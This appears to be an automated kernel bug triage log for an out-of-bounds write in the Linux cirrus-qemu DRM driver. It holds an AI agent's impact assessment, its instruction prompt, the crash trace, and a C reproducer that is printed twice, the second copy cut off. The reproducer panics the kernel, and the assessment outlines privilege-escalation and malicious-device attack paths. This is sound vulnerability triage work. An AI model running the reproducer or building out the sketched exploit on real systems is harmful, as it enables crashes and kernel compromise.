| 0/0 |
2026/08/17 02:12 |
flow |
assessment-security |
55m
Results: map[DenialOfService:true Explanation:**Analysis of the Bug and its Security Impact**
The bug is an out-of-bounds write in the `cirrus-qemu` DRM driver, specifically
in `drm_fb_memcpy()` when copying a framebuffer to the device's VRAM.
**Root Cause:**
The `cirrus-qemu` driver assumes that the device's VRAM size is always 4MB
(`CIRRUS_VRAM_SIZE`). It uses this 4MB constant to validate the maximum size of
the framebuffer created by userspace (`fb->pitches[0] > CIRRUS_VRAM_SIZE /
fb->height`). However, during initialization (`cirrus_pci_probe`), the driver
maps the VRAM using the actual size of the PCI BAR0 (`pci_resource_len(pdev,
0)`). If the driver is bound to a device where BAR0 is smaller than 4MB, the
driver will still allow userspace to create and commit a framebuffer up to 4MB
in size. When the atomic update copies the framebuffer to the mapped VRAM, it
writes past the end of the `ioremap` region, causing a `#PF` (page fault) when
it hits the vmalloc guard page.
**Exploitability:**
This bug is **Exploitable** for memory corruption and privilege escalation.
While a sequential out-of-bounds write would normally hit the 4KB vmalloc guard
page and safely panic the kernel, the `cirrus-qemu` driver supports the
`FB_DAMAGE_CLIPS` property. This allows an attacker to submit an atomic commit
with a custom damage rectangle, controlling the starting `y` coordinate of the
copy. This translates to an arbitrary `offset` up to ~4MB from the start of the
VRAM mapping. If the BAR0 size is small (e.g., 4KB), the attacker can set an
offset that completely skips the 4KB guard page and writes directly into
adjacent `vmalloc` allocations. This provides a powerful primitive to overwrite
arbitrary vmalloc memory (such as BPF maps, kernel stacks, or module data),
leading to privilege escalation.
**Denial of Service:**
The bug easily results in a **Denial of Service**. Even without crafting a
specific damage clip, a standard full modeset (such as the one automatically
performed by `fbcon` during boot, or when the DRM file descriptor is closed)
will copy the entire framebuffer. This will hit the unmapped guard page and
cause an immediate kernel panic.
**Trigger Scenarios:**
* **Unprivileged Processes / User Namespaces:** On a standard system, this bug
is **NOT** accessible to unprivileged users. The driver only automatically binds
to legitimate QEMU/Xen virtual Cirrus devices, which have a default BAR0 size of
4MB. With a 4MB BAR0, the copy will never go out of bounds. Triggering the bug
requires the driver to be bound to a device with a small BAR0. Doing this
manually (as the reproducer does) requires root privileges to write to the PCI
sysfs `new_id` and `bind` files, which are not accessible to unprivileged users
or within user namespaces.
* **VM Host Trigger (Confidential Computing):** A malicious hypervisor can
provide a virtual Cirrus PCI device with a maliciously small BAR0 (e.g., 4KB) to
a confidential guest (like AMD SEV or Intel TDX). The guest kernel will bind to
it, and the subsequent `fbcon` initialization will panic the guest (DoS). If
`fbcon` is disabled, an unprivileged user inside the guest could exploit the bug
to gain root privileges within the guest.
* **Peripheral Trigger:** A malicious Thunderbolt/USB4 device can present itself
as a PCIe device matching the Cirrus QEMU PCI IDs (Vendor `0x1013`, Device
`0x00B8`, Subvendor `0x1AF4`, Subdevice `0x1100`) but with a small BAR0. The
kernel will automatically load the `cirrus-qemu` module and bind it to the
device. This will instantly crash the system via `fbcon` (DoS) or allow an
attacker with physical access to exploit the vmalloc out-of-bounds write. Exploitable:true FilesystemTrigger:false NetworkTrigger:false PeripheralTrigger:true RemoteTrigger:false Unprivileged:false UserNamespace:false VMGuestTrigger:false VMHostTrigger:true]
|
| 1/1 |
2026/08/17 02:12 |
action |
syz-repro-to-c-repro |
0m
Results: map[SimplifiedCRepro:#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <dirent.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <drm/drm.h>
#include <drm/drm_mode.h>
#include <stdint.h>
#include <errno.h>
#define MAX_PATH 512
int read_file(const char *path, char *buf, size_t size) {
int fd = open(path, O_RDONLY);
if (fd < 0) return -1;
ssize_t n = read(fd, buf, size - 1);
close(fd);
if (n < 0) return -1;
buf[n] = '\0';
return n;
}
int write_file_quiet(const char *path, const char *buf) {
int fd = open(path, O_WRONLY);
if (fd < 0) return -1;
ssize_t n = write(fd, buf, strlen(buf));
close(fd);
return n;
}
int get_device_score(const char *bdf) {
char path[MAX_PATH];
char buf[4096];
snprintf(path, sizeof(path), "/sys/bus/pci/devices/%s/class", bdf);
if (read_file(path, buf, sizeof(buf)) <= 0) return -1;
uint32_t class_code = strtol(buf, NULL, 16);
uint32_t base_class = class_code >> 16;
// Skip Display, Bridge, and Storage controllers
if (base_class == 0x03) return -1;
if (base_class == 0x06) return -1;
if (base_class == 0x01) return -1;
snprintf(path, sizeof(path), "/sys/bus/pci/devices/%s/resource", bdf);
FILE *f = fopen(path, "r");
if (!f) return -1;
unsigned long long start, end, flags;
unsigned long long bar0_size = 0, bar1_size = 0;
if (fscanf(f, "%llx %llx %llx", &start, &end, &flags) == 3) {
if (end > start) bar0_size = end - start + 1;
}
if (fscanf(f, "%llx %llx %llx", &start, &end, &flags) == 3) {
if (end > start) bar1_size = end - start + 1;
}
fclose(f);
// We need BAR0 > 0 and < 1.9MB (to overflow with 800x600 fb), and BAR1 > 0
if (bar0_size > 0 && bar0_size < 1900000 && bar1_size > 0) {
if (base_class == 0x02) return 1; // Network (fallback, breaks SSH but crashes kernel fast enough)
return 2; // Audio, USB, etc. (preferred)
}
return -1;
}
void bind_cirrus(const char *bdf) {
char path[MAX_PATH];
char vendor_dev[64];
char buf[64];
snprintf(path, sizeof(path), "/sys/bus/pci/devices/%s/vendor", bdf);
if (read_file(path, buf, sizeof(buf)) < 0) {
printf("[-] Failed to read vendor\n");
exit(1);
}
uint32_t vendor = strtol(buf, NULL, 16);
snprintf(path, sizeof(path), "/sys/bus/pci/devices/%s/device", bdf);
if (read_file(path, buf, sizeof(buf)) < 0) {
printf("[-] Failed to read device\n");
exit(1);
}
uint32_t device = strtol(buf, NULL, 16);
snprintf(vendor_dev, sizeof(vendor_dev), "%04x %04x", vendor, device);
snprintf(path, sizeof(path), "/sys/bus/pci/devices/%s/driver/unbind", bdf);
write_file_quiet(path, bdf);
int res = write_file_quiet("/sys/bus/pci/drivers/cirrus-qemu/new_id", vendor_dev);
if (res < 0) {
printf("[-] Failed to write to cirrus-qemu/new_id: %s\n", strerror(errno));
} else {
printf("[+] Wrote to cirrus-qemu/new_id successful.\n");
}
res = write_file_quiet("/sys/bus/pci/drivers/cirrus-qemu/bind", bdf);
if (res < 0) {
printf("[-] Failed to write to cirrus-qemu/bind: %s\n", strerror(errno));
} else {
printf("[+] Wrote to cirrus-qemu/bind successful.\n");
}
}
int open_bound_drm(const char *bdf) {
char path[MAX_PATH];
snprintf(path, sizeof(path), "/sys/bus/pci/devices/%s/drm", bdf);
DIR *dir = opendir(path);
if (!dir) return -1;
struct dirent *ent;
int fd = -1;
while ((ent = readdir(dir)) != NULL) {
if (strncmp(ent->d_name, "card", 4) == 0) {
char dev_path[MAX_PATH];
snprintf(dev_path, sizeof(dev_path), "/dev/dri/%s", ent->d_name);
fd = open(dev_path, O_RDWR);
if (fd >= 0) break;
}
}
closedir(dir);
return fd;
}
int main() {
DIR *dir = opendir("/sys/bus/pci/devices");
if (!dir) {
printf("[-] Failed to opendir /sys/bus/pci/devices: %s\n", strerror(errno));
exit(1);
}
printf("[+] opendir /sys/bus/pci/devices successful.\n");
struct dirent *ent;
char target_bdf[64] = {0};
int best_score = -1;
while ((ent = readdir(dir)) != NULL) {
if (ent->d_name[0] == '.') continue;
int score = get_device_score(ent->d_name);
if (score > best_score) {
best_score = score;
strncpy(target_bdf, ent->d_name, sizeof(target_bdf) - 1);
}
}
closedir(dir);
if (best_score < 0) {
printf("[-] No suitable PCI device found\n");
exit(1);
}
printf("[+] Targeting PCI device: %s (score: %d)\n", target_bdf, best_score);
bind_cirrus(target_bdf);
int fd = -1;
for (int i = 0; i < 20; i++) {
fd = open_bound_drm(target_bdf);
if (fd >= 0) break;
usleep(100000); // Wait for driver to probe and create DRM node
}
if (fd < 0) {
printf("[-] Failed to open DRM device\n");
exit(1);
}
printf("[+] Successfully bound and opened cirrus-qemu DRM on %s\n", target_bdf);
struct drm_mode_card_res res = {0};
int ioctl_res = ioctl(fd, DRM_IOCTL_MODE_GETRESOURCES, &res);
if (ioctl_res < 0) {
printf("[-] Failed to ioctl DRM_IOCTL_MODE_GETRESOURCES: %s\n", strerror(errno));
exit(1);
}
printf("[+] ioctl DRM_IOCTL_MODE_GETRESOURCES successful.\n");
if (res.count_crtcs == 0 || res.count_connectors == 0) {
printf("[-] No CRTCs or connectors\n");
exit(1);
}
uint32_t *crtcs = malloc(res.count_crtcs * sizeof(uint32_t));
uint32_t *connectors = malloc(res.count_connectors * sizeof(uint32_t));
if (!crtcs || !connectors) {
printf("[-] Failed to malloc\n");
exit(1);
}
res.crtc_id_ptr = (uint64_t)crtcs;
res.connector_id_ptr = (uint64_t)connectors;
ioctl_res = ioctl(fd, DRM_IOCTL_MODE_GETRESOURCES, &res);
if (ioctl_res < 0) {
printf("[-] Failed to ioctl DRM_IOCTL_MODE_GETRESOURCES (2): %s\n", strerror(errno));
exit(1);
}
printf("[+] ioctl DRM_IOCTL_MODE_GETRESOURCES (2) successful.\n");
struct drm_mode_create_dumb create = {
.width = 800,
.height = 600,
.bpp = 32,
};
ioctl_res = ioctl(fd, DRM_IOCTL_MODE_CREATE_DUMB, &create);
if (ioctl_res < 0) {
printf("[-] Failed to ioctl DRM_IOCTL_MODE_CREATE_DUMB: %s\n", strerror(errno));
exit(1);
}
printf("[+] ioctl DRM_IOCTL_MODE_CREATE_DUMB successful.\n");
struct drm_mode_fb_cmd cmd = {
.width = 800,
.height = 600,
.pitch = create.pitch,
.bpp = 32,
.depth = 24,
.handle = create.handle,
};
ioctl_res = ioctl(fd, DRM_IOCTL_MODE_ADDFB, &cmd);
if (ioctl_res < 0) {
printf("[-] Failed to ioctl DRM_IOCTL_MODE_ADDFB: %s\n", strerror(errno));
exit(1);
}
printf("[+] ioctl DRM_IOCTL_MODE_ADDFB successful.\n");
struct drm_mode_modeinfo custom_mode = {
.clock = 40000,
.hdisplay = 800,
.hsync_start = 840,
.hsync_end = 968,
.htotal = 1056,
.vdisplay = 600,
.vsync_start = 601,
.vsync_end = 605,
.vtotal = 628,
.vrefresh = 60,
.flags = 0,
.type = 32, // DRM_MODE_TYPE_USERDEF
.name = "800x600",
};
struct drm_mode_crtc crtc = {
.crtc_id = crtcs[0],
.fb_id = cmd.fb_id,
.set_connectors_ptr = (uint64_t)&connectors[0],
.count_connectors = 1,
.mode = custom_mode,
.mode_valid = 1,
};
ioctl_res = ioctl(fd, DRM_IOCTL_MODE_SETCRTC, &crtc);
if (ioctl_res < 0) {
printf("[-] Failed to ioctl DRM_IOCTL_MODE_SETCRTC: %s\n", strerror(errno));
} else {
printf("[+] ioctl DRM_IOCTL_MODE_SETCRTC successful.\n");
}
printf("[+] Triggering bug...\n");
// Closing the fd triggers drm_release -> drm_lastclose -> drm_fbdev_client_restore
// which performs a full atomic commit and copies the framebuffer, causing the out-of-bounds access.
int close_res = close(fd);
if (close_res < 0) {
printf("[-] Failed to close: %s\n", strerror(errno));
exit(1);
}
printf("[+] close successful.\n");
sleep(2);
return 0;
}
]
|
| 2/1 |
2026/08/17 02:12 |
action |
kernel-checkouter |
1m
Results: map[KernelSrc:/app/workdir/cache/src/5d66593b9d147365649b714b01b518e2ed495a89]
|
| 3/1 |
2026/08/17 02:13 |
action |
kernel-builder |
31m
Results: map[KernelObj:/app/workdir/cache/build/31c2ac3afbd8478da054bd5d77029fb7262d6d7a]
|
| 4/1 |
2026/08/17 02:45 |
action |
codesearch-prepare |
18m
Results: map[Index:codesearch-index]
|
| 5/1 |
2026/08/17 03:04 |
agent |
expert |
3m
Model:
Results: map[DenialOfService:true Exploitable:true FilesystemTrigger:false NetworkTrigger:false PeripheralTrigger:true RemoteTrigger:false Unprivileged:false UserNamespace:false VMGuestTrigger:false VMHostTrigger:true]
Instruction: You are an experienced Linux kernel security engineer. Your task is to analyze given kernel bug report
and determine its security impact based on the following dimensions.
Use the provided tools to examine the source code, check for capability checks (e.g., capable(), ns_capable()),
and understand the nature of the bug. Analyze the given kernel build and configuration.
You can check the kernel config by grepping ".config" file; you can check kernel cmdline by grepping
".config" file for "CONFIG_CMDLINE=". Assume sysctl parameters have default values.
But analyze for the corresponding production build w/o debugging tools enabled (like KASAN, KMSAN, UBSAN).
Try different strategies when analyzing the bug:
- think of ways in which the vulnerable code is unreachable
- or the other way around: try to come up with different ideas of how an unprivileged user can reach the bug
If still unsure err on the side of the bug being non-exploitable/not-accessible.
In the final reply, provide a reasoning for your assessment.
Analysis dimensions:
* Exploitable:
Determine if the bug can result in memory corruption, elevated privileges, or an information leak.
Memory safety issues are almost always exploitable (KASAN or UBSAN reports for use-after-free, out-of-bounds;
refcounting issues, corrupted lists, etc). When kernel is crashing on a completely wild pointer access
(e.g. user-space address, or non-canonical address, but not on NULL or address corresponding to KASAN shadow
for NULL address), including both data accesses and control transfers, that also usually implies possibility
of exploitation. Such reports usually say "unable to handle kernel paging request".
Uses of uninitialized values detected by KMSAN may be exploitable b/c attacker frequently can affect uninit
values with spraying techniques. However, for these exploitability depends on how exactly the uninit value
is used in the code, and what it affects.
Information leaks are exploitable on their own and should be classified as such. A bug that copies kernel
memory contents to userspace (e.g. an out-of-bounds read whose result is returned to the caller, or
uninitialized stack/heap bytes written to a user buffer) is exploitable: it can reveal kernel pointer
values and defeat KASLR, expose sensitive data such as cryptographic keys or other processes' memory, and
serves as a necessary building block in most modern kernel privilege-escalation exploit chains. Do not classify
an information leak as non-exploitable solely because it does not directly cause a memory write or control-flow
hijack; the leak itself is the exploit primitive.
Think of what happens after the bug is triggered. Some bugs cause kernel panic and halt execution,
they are harder to exploit. For example, BUG reports halts the kernel. However, WARNING reports don't halt
execution in production builds. Debug bug detection tools (like KASAN, KMSAN, KCSAN, UBSAN) are also not enabled
in production builds, so attacker can freely exploit these bugs w/o being detected by these tools.
If you see an integer overflow, think how the overflowed value used later (if it's used as allocation size,
or an array index). If you see an out-of-bounds read, think if it's followed by an out-of-bounds write as well.
Some KCSAN data-races may be exploitable by skilled attackers as well. Think what data structures got corrupted
as the result of data races and how. However, note that kernel has lots of "benign" data races that don't lead
to any runtime misbehavior at all.
* Denial Of Service:
Determine if the bug can result in denial-of-service. Most bugs can, since they cause system crash,
hangs, deadlocks, or resource leaks. This is mostly applicable to WARNING bugs that won't cause system crash
in production. For these think what will be consequences of the violation of the kernel assumptions flagged
by the WARNING. In some cases the unexpected condition is also properly handled by the normal control flow
(e.g. with "if (WARN_ON(...))"), these won't cause denial-of-service. If the condition is not handled,
then it may or may not cause denial-of-service.
* Accessible From Unprivileged Processes:
Determine if the bug can be reached from a typical (non-root) user process that does NOT have any special capabilities
(like CAP_SYS_ADMIN, CAP_NET_ADMIN, CAP_NET_RAW, CAP_PERFMON) or access to device nodes restricted to root.
Assume that unprivileged_bpf_disabled=1, that is eBPF loading is not accessible. However, cBPF (classical BPF)
is still accessible to non-root processes.
Assume that user namespaces are not accessible, that is, the process cannot get the mentioned capabilities even
within a new user namespace (checked by ns_capable() function in the kernel sources).
* Accessible From User Namespaces:
Determine if the bug can be reached within a user-namespace where the process has all capabilities
(including CAP_SYS_ADMIN, CAP_NET_ADMIN, CAP_NET_RAW, CAP_PERFMON). Such capabilities are checked with ns_capable()
function in the kernel sources.
* VM Guest Trigger:
Determine if the bug can be triggered from the context of a typical KVM guest (e.g., set up by a QEMU VMM).
Consider accesses to standard Linux host paravirtualized features (virtio-blk, virtio-net, etc.),
and handling of VM exits in the KVM code.
* VM Host Trigger in The Confidential Computing Context:
Determine if the bug can be triggered in a confidential computing guest kernel from the context of a KVM host.
Consider access to standard Linux guest paravirtualized features (virtio-blk, virtio-net, etc.).
* Ethernet Network Trigger:
Determine if the bug can be triggered by processing ingress network Ethernet traffic, either directly (network stack)
or via drivers exposed to network data.
* Other Remote Trigger:
Determine if the bug can be triggered by processing remote traffic other than Ethernet (Wifi, Bluetooth, NFC, etc).
* Peripheral Trigger:
Determine if the bug can be triggered via an untrusted peripheral device that can be physically plugged
into a system, such as a USB device or a niche hardware driver handling external hardware inputs.
This is particularly important for mobile and desktop environments where users can plug in unknown devices.
* Malicious Filesystem Trigger:
Determine if the bug can be triggered by the kernel mounting and parsing a malicious filesystem image.
This is highly critical for Desktop and Mobile environments where external media or downloaded images
might be auto-mounted.
Don't make assumptions about the kernel source code (it may be different from what you assume it is).
Extensively use the provided code access tools (codesearch-*, git-*, grepper, etc)
to examine the actual source code, and confirm any assumptions.
Prefer calling several tools at the same time to save round-trips.
Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.
Prompt:
The kernel bug report is:
BUG: unable to handle page fault for address: ffffc900030a7000
#PF: supervisor write access in kernel mode
#PF: error_code(0x0002) - not-present page
PGD 1c000067 P4D 1c000067 PUD 1d6a8067 PMD 25dcb067 PTE 0
Oops: Oops: 0002 [#1] SMP KASAN NOPTI
CPU: 3 UID: 0 PID: 5985 Comm: syz-executor238 Not tainted syzkaller #0 PREEMPT(full)
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
RIP: 0010:rep_movs arch/x86/lib/iomem.c:13 [inline]
RIP: 0010:string_memcpy_toio arch/x86/lib/iomem.c:64 [inline]
RIP: 0010:memcpy_toio+0x87/0xe0 arch/x86/lib/iomem.c:110
Code: b6 fc 49 89 dd 31 ff 41 83 e5 02 4c 89 ee e8 70 3f b6 fc 4d 85 ed 75 33 e8 c6 44 b6 fc 48 89 e9 48 89 df 4c 89 e6 48 c1 e9 02 <f3> a5 40 f6 c5 02 74 02 66 a5 40 f6 c5 01 74 01 a4 e8 a3 44 b6 fc
RSP: 0018:ffffc900036ef4f0 EFLAGS: 00010206
RAX: 0000000000000000 RBX: ffffc900030a6d20 RCX: 00000000000000d8
RDX: ffff88802dc8a540 RSI: ffffc90003c31f60 RDI: ffffc900030a7000
RBP: 0000000000000640 R08: 0000000000000007 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000000 R12: ffffc90003c31c80
R13: 0000000000000000 R14: ffffc900030a6d20 R15: 0000000000000640
FS: 0000000000000000(0000) GS:ffff8880d5ede000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: ffffc900030a7000 CR3: 000000003cd11000 CR4: 0000000000352ef0
Call Trace:
<TASK>
iosys_map_memcpy_to include/linux/iosys-map.h:285 [inline]
drm_fb_memcpy+0x459/0x620 drivers/gpu/drm/drm_format_helper.c:442
cirrus_primary_plane_helper_atomic_update+0xb1d/0xfe0 drivers/gpu/drm/tiny/cirrus-qemu.c:358
drm_atomic_helper_commit_planes+0x497/0xf10 drivers/gpu/drm/drm_atomic_helper.c:3038
drm_atomic_helper_commit_tail+0x7f/0x130 drivers/gpu/drm/drm_atomic_helper.c:1989
commit_tail+0x338/0x430 drivers/gpu/drm/drm_atomic_helper.c:2074
drm_atomic_helper_commit+0x303/0x380 drivers/gpu/drm/drm_atomic_helper.c:2312
drm_atomic_commit+0x230/0x300 drivers/gpu/drm/drm_atomic.c:1789
drm_client_modeset_commit_atomic+0x6a6/0x7e0 drivers/gpu/drm/drm_client_modeset.c:1104
drm_client_modeset_commit_locked+0x14d/0x580 drivers/gpu/drm/drm_client_modeset.c:1207
drm_client_modeset_commit+0x4f/0x80 drivers/gpu/drm/drm_client_modeset.c:1233
__drm_fb_helper_restore_fbdev_mode_unlocked.part.0+0x137/0x160 drivers/gpu/drm/drm_fb_helper.c:138
__drm_fb_helper_restore_fbdev_mode_unlocked drivers/gpu/drm/drm_fb_helper.c:126 [inline]
drm_fb_helper_restore_fbdev_mode_unlocked+0x93/0xc0 drivers/gpu/drm/drm_fb_helper.c:169
drm_fbdev_client_restore+0x1b/0x30 drivers/gpu/drm/clients/drm_fbdev_client.c:45
drm_client_dev_restore+0x205/0x2a0 drivers/gpu/drm/drm_client_event.c:118
drm_lastclose drivers/gpu/drm/drm_file.c:408 [inline]
drm_release+0x2c6/0x360 drivers/gpu/drm/drm_file.c:441
__fput+0x3ff/0xb50 fs/file_table.c:512
task_work_run+0x150/0x240 kernel/task_work.c:233
exit_task_work include/linux/task_work.h:40 [inline]
do_exit+0x951/0x2ae0 kernel/exit.c:1009
do_group_exit+0xd5/0x2a0 kernel/exit.c:1152
__do_sys_exit_group kernel/exit.c:1163 [inline]
__se_sys_exit_group kernel/exit.c:1161 [inline]
__x64_sys_exit_group+0x3e/0x50 kernel/exit.c:1161
x64_sys_call+0x102c/0x1530 arch/x86/include/generated/asm/syscalls_64.h:232
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x115/0x870 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f6d6a4b3905
Code: Unable to access opcode bytes at 0x7f6d6a4b38db.
RSP: 002b:00007ffd867f5c08 EFLAGS: 00000202 ORIG_RAX: 00000000000000e7
RAX: ffffffffffffffda RBX: 0000000000000001 RCX: 00007f6d6a4b3905
RDX: 00000000000000e7 RSI: ffffffffffffffd8 RDI: 0000000000000001
RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000202 R12: 0000000000000001
R13: 00007f6d6a548100 R14: 00007f6d6a54a388 R15: 00007f6d6a54a3a0
</TASK>
Modules linked in:
CR2: ffffc900030a7000
---[ end trace 0000000000000000 ]---
RIP: 0010:rep_movs arch/x86/lib/iomem.c:13 [inline]
RIP: 0010:string_memcpy_toio arch/x86/lib/iomem.c:64 [inline]
RIP: 0010:memcpy_toio+0x87/0xe0 arch/x86/lib/iomem.c:110
Code: b6 fc 49 89 dd 31 ff 41 83 e5 02 4c 89 ee e8 70 3f b6 fc 4d 85 ed 75 33 e8 c6 44 b6 fc 48 89 e9 48 89 df 4c 89 e6 48 c1 e9 02 <f3> a5 40 f6 c5 02 74 02 66 a5 40 f6 c5 01 74 01 a4 e8 a3 44 b6 fc
RSP: 0018:ffffc900036ef4f0 EFLAGS: 00010206
RAX: 0000000000000000 RBX: ffffc900030a6d20 RCX: 00000000000000d8
RDX: ffff88802dc8a540 RSI: ffffc90003c31f60 RDI: ffffc900030a7000
RBP: 0000000000000640 R08: 0000000000000007 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000000 R12: ffffc90003c31c80
R13: 0000000000000000 R14: ffffc900030a6d20 R15: 0000000000000640
FS: 0000000000000000(0000) GS:ffff8880d5ede000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: ffffc900030a7000 CR3: 000000003cd11000 CR4: 0000000000352ef0
----------------
Code disassembly (best guess):
0: b6 fc mov $0xfc,%dh
2: 49 89 dd mov %rbx,%r13
5: 31 ff xor %edi,%edi
7: 41 83 e5 02 and $0x2,%r13d
b: 4c 89 ee mov %r13,%rsi
e: e8 70 3f b6 fc call 0xfcb63f83
13: 4d 85 ed test %r13,%r13
16: 75 33 jne 0x4b
18: e8 c6 44 b6 fc call 0xfcb644e3
1d: 48 89 e9 mov %rbp,%rcx
20: 48 89 df mov %rbx,%rdi
23: 4c 89 e6 mov %r12,%rsi
26: 48 c1 e9 02 shr $0x2,%rcx
* 2a: f3 a5 rep movsl %ds:(%rsi),%es:(%rdi) <-- trapping instruction
2c: 40 f6 c5 02 test $0x2,%bpl
30: 74 02 je 0x34
32: 66 a5 movsw %ds:(%rsi),%es:(%rdi)
34: 40 f6 c5 01 test $0x1,%bpl
38: 74 01 je 0x3b
3a: a4 movsb %ds:(%rsi),%es:(%rdi)
3b: e8 a3 44 b6 fc call 0xfcb644e3
It is reproducible with the followint program.
Keep in mind that it may lack the precise threading, sandboxing, and some arguments of a working reproducer.
But it should give an idea of the involved syscalls.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <dirent.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <drm/drm.h>
#include <drm/drm_mode.h>
#include <stdint.h>
#include <errno.h>
#define MAX_PATH 512
int read_file(const char *path, char *buf, size_t size) {
int fd = open(path, O_RDONLY);
if (fd < 0) return -1;
ssize_t n = read(fd, buf, size - 1);
close(fd);
if (n < 0) return -1;
buf[n] = '\0';
return n;
}
int write_file_quiet(const char *path, const char *buf) {
int fd = open(path, O_WRONLY);
if (fd < 0) return -1;
ssize_t n = write(fd, buf, strlen(buf));
close(fd);
return n;
}
int get_device_score(const char *bdf) {
char path[MAX_PATH];
char buf[4096];
snprintf(path, sizeof(path), "/sys/bus/pci/devices/%s/class", bdf);
if (read_file(path, buf, sizeof(buf)) <= 0) return -1;
uint32_t class_code = strtol(buf, NULL, 16);
uint32_t base_class = class_code >> 16;
// Skip Display, Bridge, and Storage controllers
if (base_class == 0x03) return -1;
if (base_class == 0x06) return -1;
if (base_class == 0x01) return -1;
snprintf(path, sizeof(path), "/sys/bus/pci/devices/%s/resource", bdf);
FILE *f = fopen(path, "r");
if (!f) return -1;
unsigned long long start, end, flags;
unsigned long long bar0_size = 0, bar1_size = 0;
if (fscanf(f, "%llx %llx %llx", &start, &end, &flags) == 3) {
if (end > start) bar0_size = end - start + 1;
}
if (fscanf(f, "%llx %llx %llx", &start, &end, &flags) == 3) {
if (end > start) bar1_size = end - start + 1;
}
fclose(f);
// We need BAR0 > 0 and < 1.9MB (to overflow with 800x600 fb), and BAR1 > 0
if (bar0_size > 0 && bar0_size < 1900000 && bar1_size > 0) {
if (base_class == 0x02) return 1; // Network (fallback, breaks SSH but crashes kernel fast enough)
return 2; // Audio, USB, etc. (preferred)
}
return -1;
}
void bind_cirrus(const char *bdf) {
char path[MAX_PATH];
char vendor_dev[64];
char buf[64];
snprintf(path, sizeof(path), "/sys/bus/pci/devices/%s/vendor", bdf);
if (read_file(path, buf, sizeof(buf)) < 0) {
printf("[-] Failed to read vendor\n");
exit(1);
}
uint32_t vendor = strtol(buf, NULL, 16);
snprintf(path, sizeof(path), "/sys/bus/pci/devices/%s/device", bdf);
if (read_file(path, buf, sizeof(buf)) < 0) {
printf("[-] Failed to read device\n");
exit(1);
}
uint32_t device = strtol(buf, NULL, 16);
snprintf(vendor_dev, sizeof(vendor_dev), "%04x %04x", vendor, device);
snprintf(path, sizeof(path), "/sys/bus/pci/devices/%s/driver/unbind", bdf);
write_file_quiet(path, bdf);
int res = write_file_quiet("/sys/bus/pci/drivers/cirrus-qemu/new_id", vendor_dev);
if (res < 0) {
printf("[-] Failed to write to cirrus-qemu/new_id: %s\n", strerror(errno));
} else {
printf("[+] Wrote to cirrus-qemu/new_id successful.\n");
}
res = write_file_quiet("/sys/bus/pci/drivers/cirrus-qemu/bind", bdf);
if (res < 0) {
printf("[-] Failed to write to cirrus-qemu/bind: %s\n", strerror(errno));
} else {
printf("[+] Wrote to cirrus-qemu/bind successful.\n");
}
}
int open_bound_drm(const char *bdf) {
char path[MAX_PATH];
snprintf(path, sizeof(path), "/sys/bus/pci/devices/%s/drm", bdf);
DIR *dir = opendir(path);
if (!dir) return -1;
struct dirent *ent;
int fd = -1;
while ((ent = readdir(dir)) != NULL) {
if (strncmp(ent->d_name, "card", 4) == 0) {
char dev_path[MAX_PATH];
snprintf(dev_path, sizeof(dev_path), "/dev/dri/%s", ent->d_name);
fd = open(dev_path, O_RDWR);
if (fd >= 0) break;
}
}
closedir(dir);
return fd;
}
int main() {
DIR *dir = opendir("/sys/bus/pci/devices");
if (!dir) {
printf("[-] Failed to opendir /sys/bus/pci/devices: %s\n", strerror(errno));
exit(1);
}
printf("[+] opendir /sys/bus/pci/devices successful.\n");
struct dirent *ent;
char target_bdf[64] = {0};
int best_score = -1;
while ((ent = readdir(dir)) != NULL) {
if (ent->d_name[0] == '.') continue;
int score = get_device_score(ent->d_name);
if (score > best_score) {
best_score = score;
strncpy(target_bdf, ent->d_name, sizeof(target_bdf) - 1);
}
}
closedir(dir);
if (best_score < 0) {
printf("[-] No suitable PCI device found\n");
exit(1);
}
printf("[+] Targeting PCI device: %s (score: %d)\n", target_bdf, best_score);
bind_cirrus(target_bdf);
int fd = -1;
for (int i = 0; i < 20; i++) {
fd = open_bound_drm(target_bdf);
if (fd >= 0) break;
usleep(100000); // Wait for driver to probe and create DRM node
}
if (fd < 0) {
printf("[-] Failed to open DRM device\n");
exit(1);
}
printf("[+] Successfully bound and opened cirrus-qemu DRM on %s\n", target_bdf);
struct drm_mode_card_res res = {0};
int ioctl_res = ioctl(fd, DRM_IOCTL_MODE_GETRESOURCES, &res);
if (ioctl_res < 0) {
printf("[-] Failed to ioctl DRM_IOCTL_MODE_GETRESOURCES: %s\n", strerror(errno));
exit(1);
}
printf("[+] ioctl DRM_IOCTL_MODE_GETRESOURCES successful.\n");
if (res.count_crtcs == 0 || res.count_connectors == 0) {
printf("[-] No CRTCs or connectors\n");
exit(1);
}
uint32_t *crtcs = malloc(res.count_crtcs * sizeof(uint32_t));
uint32_t *connectors = malloc(res.count_connectors * sizeof(uint32_t));
if (!crtcs || !connectors) {
printf("[-] Failed to malloc\n");
exit(1);
}
res.crtc_id_ptr = (uint64_t)crtcs;
res.connector_id_ptr = (uint64_t)connectors;
ioctl_res = ioctl(fd, DRM_IOCTL_MODE_GETRESOURCES, &res);
if (ioctl_res < 0) {
printf("[-] Failed to ioctl DRM_IOCTL_MODE_GETRESOURCES (2): %s\n", strerror(errno));
exit(1);
}
printf("[+] ioctl DRM_IOCTL_MODE_GETRESOURCES (2) successful.\n");
struct drm_mode_create_dumb create = {
.width = 800,
.height = 600,
.bpp = 32,
};
ioctl_res = ioctl(fd, DRM_IOCTL_MODE_CREATE_DUMB, &create);
if (ioctl_res < 0) {
printf("[-] Failed to ioctl DRM_IOCTL_MODE_CREATE_DUMB: %s\n", strerror(errno));
exit(1);
}
